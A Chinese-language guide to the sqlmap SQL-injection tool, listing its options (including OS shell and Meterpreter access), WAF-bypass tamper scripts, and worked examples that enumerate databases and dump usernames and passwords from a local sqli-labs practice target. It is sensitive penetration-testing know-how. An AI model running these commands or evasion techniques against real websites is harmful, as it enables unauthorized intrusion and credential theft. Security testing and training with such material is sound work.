sqlmap 使用指南一、命令参数1. 通用参数功能-h显示基本帮助信息-hh显示高级帮助信息–version显示版本号-ssqlite 会话文件保存位置-t记录所有 HTTP 流量到指定文件中–batch测试过程中, 执行所有默认配置–charset强制用于数据检索的字符编码–crawl从目标URL开始爬取网站–crawl-exclude禁止爬取某个页面(eg:logout)–csv-del指定CSV输出中使用的的字符–dump-format储存数据的方式(CSV(default),HTML,SQLITE)–flush-session刷新当前目标的会话文件–fresh-queries忽略会话文件中储存的查询结果,重新查询–hex使用DBMS hex函数进行数据检索–outpout-dir自定义输出目录–save保存选项到 ini 配置文件中–scope使用正则表达式从提供的日志中提取信息–alert再找到SQL注入时运行主机操作系统命令–purge-output安全的从输出目录中删除所有内容–sqlmap-shell提示输入交互式sqlmap shell–update更新sqlmap2. 信息显示设置参数功能-h设置显示信息等级(0-6 默认 1)0只显示 Python 错误以及重要信息1显示信息以及警告2显示 debug 消息3显示注入 payload4显示 http 请求5显示 http 响应头6显示 http 响应内容3. 注入目标参数功能-u指定目标 url-d直接连接数据库-l从 BurpSuit 代理日志的解析目标-r从文件中加载 http 请求-g从 google dork 的结果作为目标 url-c从 ini 配置文件中加载选项4. 请求头参数功能-A指定 User-Agent 头-H额外的 header-method指定 HTTP 方法(GET/POST)–data通过 POST 提交数据–param-del指定参数分隔符–cookie指定 cookie 的值–cookie-del指定cookie分隔符–drop-set-cookie扔掉 response 中的 set-cookie 头–random-agent使用随机的 User-Agent 头–host设置 host 头–referer指定 referer 头–headers额外的headers–auth-typehttp认证类型(Basic,NTLM,Digest)–auith-credhttp认证凭证(账号:密码)–ignore-proxy忽略系统代理(常用于扫描本地文件)–proxy使用代理–proxy-cred代理认证证书(账号:密码)–delay设置两个请求之间延迟时间–timeout超时时来连接前等待(默认 30)–retries连接超时时重试次数(默认 3)–randomize随机更改指定的参数的值–safe-url在测试期间经常访问的 URL–safe-postPOST数据发送到安全的 URL–safe-freq两次请求之间穿插一个安全的URL–skip-urlencode跳过 payload 数据的 URL 编码–chunked使用 HTTP 分块传输加密 POST 请求–hpp使用HTTP参数pollution方法(常用于绕过IPS/IDS检测)–force-ssl强制使用 SSL/HTTPS–eval=value请求之前提供Python代码(eg:“import hashlib;id2=hashlib.md5(id).hexdigest()")5. 优化参数参数功能-o打开所有优化开关–predict-output预测输出(与–threads不兼容)–keep-alive建立长久的HTTP(S)连接 (与–proxy不兼容)–null-connection空连接–threads=value设置线程(默认 1)6. 注入参数参数功能-p指定测试参数–skip跳过指定参数的测试–skip-static跳过测试静态的参数–dbms指定具体DBMS–os指定DBMS操作系统–invalid-bignum使用大数字使值无效–invalid-logical使用逻辑符使值无效–invalid-string使用字符串使值无效–no-cast关闭payload铸造机制–no-escape关闭字符转义机制(默认自动开启)–prefix加入payload前缀–suffix加入payload后缀–tamper指定使用的脚本,多个脚本之间用空格隔开7. 检测参数功能–level指定测试的等级(1-5 默认为1)–risk指定测试的风险(0-3 默认为1)–string登录成功时,页面所含有的“关键字” 用于证明已经登录成功–not-string登录成功时,页面所含有的“关键字” 用于证明已经登录失败–code查询为真时,匹配的HTTP代码–smart当有大量检测目标时,只选择基于错误的检测结果–text-only仅基于文本内容比较网页–titles仅基于标题比较网页8. 注入技术参数功能-technique指定sql注入技术(默认BEUSTQ)–time-sec基于时间注入检测相应的延迟时间(默认为5秒)–union-clos进行查询时,指定列的范围–union-char指定暴力破解列数的字符参数功能B基于布尔的盲注T基于时间的盲注E基于报错的注入U基于UNION查询注入S基于多语句查询注入9. 指纹查询参数功能-f查询目标DBMS版本指纹信息10. 数据查询参数功能-a查询所有-b查询目标 DBMS banner 信息–current-user查询目标DBMS当前用户–current-db查询目标 DBMS 当前数据库–is-dba查询目标 DBMS 当前用户是否为 DBA–users枚举目标 DBMS 所有的用户–paswords枚举目标 DBMS 用户密码哈希值–privileges枚举目标 DBMS 用户的权限–roles枚举DBMS用户的角色–dbs枚举DBMS所有的数据库–tables枚举DBMS数据库中所有的表–columns枚举DBMS数据库表中所有的列–count检索表的条目的数量–dump存储DBMS数据库的表中的条目–dump-all存储DBMS所有数据库表中的条目–D db指定进行枚举的数据库名称–T table指定进行枚举的数据库表名称–C column指定进行枚举的数据库列名称–exclude-sysdbs枚举表时排除系统数据库–sql-query指定查询的sql语句–sql-shell提示输入一个交互式sql shell11. 暴力破解参数功能–common-tables暴力破解表–common-colomns暴力破解列12. 文件系统访问参数功能–file-read从目标数据库管理文件系统读取文件–file-write上传文件到目标数据库管理文件系统–file-dest指定写入文件的绝对路径–os-cmd执行操作系统命令–os-shell交互式的系统shell–os-pwn获取一个OOB shell,Meterpreter或者VNC–os-smbrelay一键 获取一个OOB shell,Meterpreter或者VNC–os-bof储存过程缓冲区溢出利用–os-esc数据库进程用户权限提升–msf-path=Metasploit Framework本地安装路径二、WAF 绕过WAF,即Web Application Firewall,即Web应用防火墙,是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
我们可以使用--identify-waf参数对一些网站是否有安全防护进行试探。当确定网站存在 WAF 之后我们需要对其进行绕过。
在 sqlmap 下的 tamper 目录中存放着绕过 WAF 脚本。通过 --tamper 参数使用脚本,多个 tamper 脚本之间用空格隔开。
1. 自带 tamper在 Kali 2020 的系统中,tamper 文件夹位置为:/usr/share/sqlmap/tamper。
适用数据库模块功能环境ALLapostrophemask.py对单引号'用URL-UTF8编码ALLapostrophenullencode.py对单引号'用非法的双UNICODE编码ALLunmagicquotes.py将单引号'替换成多个字节 并在结尾处添加注释符ALLescapequotes.py斜杠转义单引号'和双引号"ALLbase64encode.py对payload进行一次BASE64编码* Microsoft SQL Server 2000 * Microsoft SQL Server 2005 * MySQL 5.1.56 * PostgreSQL 9.0.3charunicodeencode.py对payload进行一次URL-UNICODE编码* ASP * ASP.NETALLcharunicodeescape.py对payload进行UNICODE格式转义编码ALLhtmlencode.py对payload中非字母非数字字符进行HTML编码* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0charencode.py对payload进行一次URL编码ALLchardoubleencode.py对payload进行两次URL编码ALLoverlongutf8.py将payload中非字母非数字字符用超长UTF8编码ALLoverlongutf8more.py将payload中所有字符用超长UTF8编码* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5equaltolike.py将payload中所有=替换成LIKE* MySQL 4, 5.0 and 5.5equaltorlike.py将payload中所有=替换成RLIKE* MySQL 5.1, SGOSbluecoat.py将SQL语句中空格字符' '替换为%09 并替换=为LIKE* MSSQL * SQLitespace2dash.py将空格字符' '替换成:--+随机字符串+\n* MySQLspace2hash.py将MySQL payload中空格字符' '替换成: #+随机字符串+\n* MySQL >= 5.1.13space2morehash.py将MySQL payload中空格字符' '替换成: #+随机字符串+\n* Microsoft SQL Serverspace2mssqlblank.py将MsSQL payload中空格字符' '替换成 随机的空字符:(%01, %02, %03, %04···%0F)* MSSQL * MySQLspace2mssqlhash.py将MySQL payload中空格字符' '替换成:#+\n* MySQLspace2mysqlblank.py将MySQL payload中空格字符' '替换成 随机的空字符:(%09, %0A, %0B, %0C, %0D)* MySQL * MSSQLspace2mysqldash.py将MySQL payload中空格字符' '替换成:--+\nALLspace2plus.py将空格字符' '替换成+* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0space2randomblank.py将空格字符' '替换成随机的空字符: (%09, %0A, %0C, %0D)* MySQL * MsSQL0eunion.pyUNION语句替换ALLunionalltounion.pyUNION语句替换* MySQLmisunion.pyUNION语句替换* Oracledunion.pyUNION语句替换* MySQLsleep2getlock.pySLEEP语句替换* MySQL * SQLite (possibly) * SAP MaxDB (possibly)ifnull2casewhenisnull.pyIFNULL语句替换* MySQL * SQLite (possibly) * SAP MaxDB (possibly)ifnull2ifisnull.pyIFNULL语句替换* MySQLcommalesslimit.pyMySQL payload中LIMIT语句替换* MySQLcommalessmid.pyMySQL payload中MID语句替换* MySQLhex2char.pyMySQL payload中CONCAT(CHAR(),…)语句替换* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0between.py用BETWEEN语句替换=<>号* MySQLconcat2concatws.pyMySQL payload中CONCAT语句替换* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0space2comment.py将空格字符' '替换成注释符/**/* MySQL 5.0 and 5.5space2morecomment.py将MySQL payload中空格字符' '替换成 注释符/**_**/* Microsoft SQL Server * MySQL * Oracle * PostgreSQLcommentbeforeparentheses.py在括号前加上/**/注释* MySQL < 5.1halfversionedmorekeywords.py在关键字前添加MySQL版本注释信息* MySQLmodsecurityversioned.py用注释来包围完整的MySQL查询语句* MySQLmodsecurityzeroversioned.py用注释来包围完整的MySQL查询语句ALLrandomcomments.py在SQL关键字的字符之间随机添加注释符* MySQLversionedkeywords.py对MySQL payload中非函数的关键字进行注释* MySQL >= 5.1.13versionedmorekeywords.py对MySQL payload中所有关键字进行注释* Microsoft Accessappendnullbyte.py在payload结束位置加零字节字符%00* MySQLbinary.py在payload可能位置插入关键字binary* MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0greatest.py>替换成GREATEST语句* MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0least.py>替换成LEAST语句ALLinformationschemacomment.py在"information_schema"后面加上/**/* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0lowercase.py将所有大写字符替换成小写字符* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0uppercase.py将所有小写字符替换成大写字符ALLmultiplespaces.py在SQL关键字旁添加多个空格符' '* Microsoft SQL Server 2000, 2005 * MySQL 5.1.56, 5.5.11 * PostgreSQL 9.0percentage.pypayload中每个字符前加%* ASP* Microsoft SQL Server 2012+plus2concat.py将+替换成MsSQL的CONCAT()语句* Microsoft SQL Server 2008+plus2fnconcat.py将+替换成MsSQL的{fn CONCAT()}语句* Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 * SQLite 3randomcase.py对每个SQL关键字的字符替换成随机大小写* MySQLschemasplit.py拆分数据库标识符* MSSQLsp_password.py在MsSQL payload后添加ssp_password 用于混淆数据库日志* PostgreSQL 9.6.12substring2leftright.py将PostgreSQL中SUBSTRING语句 用LEFT和RIGHT代替ALLsymboliclogical.py将AND和OR替换成&&和`ALLluanginx.py针对LUA-Nginx WAF进行绕过ALLvarnish.py添加一个HTTP头X-originating-IP 用来绕过Varnish防火墙ALLxforwardedfor.py添加伪造的HTTP头X-Forwarded-For三、使用小技巧注入的请求必须是正确的请求,例如测试登录时必须要使用能够正常登录的账号密码;当我们知道哪里存在注入点时,我们可以在注入点加上 * 来标识这是一个注入点;四、sqlmap 使用示例1. 获取所有数据库 1
2
3
4
5
6
7
8
9
10
11
Input:
sqlmap -u "http://192.168.1.200:9080/Less-1/?id=1" --batch --dbs
Output:
ailable databases [5]:
[*] challenges
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
参数解读:
-u:指定测试的 url–batch:使用所有默认选项–dbs:获取所有数据库2. 获取指定数据库的所有表 1
2
3
4
5
6
7
8
9
10
11
12
Input:
sqlmap -u "http://192.168.1.200:9080/Less-1/?id=1" --batch -D security --tables
Output:
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+
3. 获取指定表的所有列名 1
2
3
4
5
6
7
8
9
10
11
12
13
14
Input:
sqlmap -u "http://192.168.1.200:9080/Less-1/?id=1" --batch -D security -T users --columns
Output:
Database: security Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
+----------+-------------+
4. 获取指定列的值 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Input:
sqlmap -u "http://192.168.1.200:9080/Less-1/?id=1" --batch -D security -T users -C "username,password" --dump
Output:
Database: security Table: users
[14 entries]
+----------+----------+
| username | password |
+----------+----------+
| Dumb | password |
| Angelina | password |
| Dummy | password |
| secure | password |
| stupid | password |
| superman | password |
| batman | password |
| admin | 123 |
| admin1 | password |
| admin2 | password |
| admin3 | password |
| dhakkan | password |
| admin4 | password |
| admin'#1 | 123 |
+----------+----------+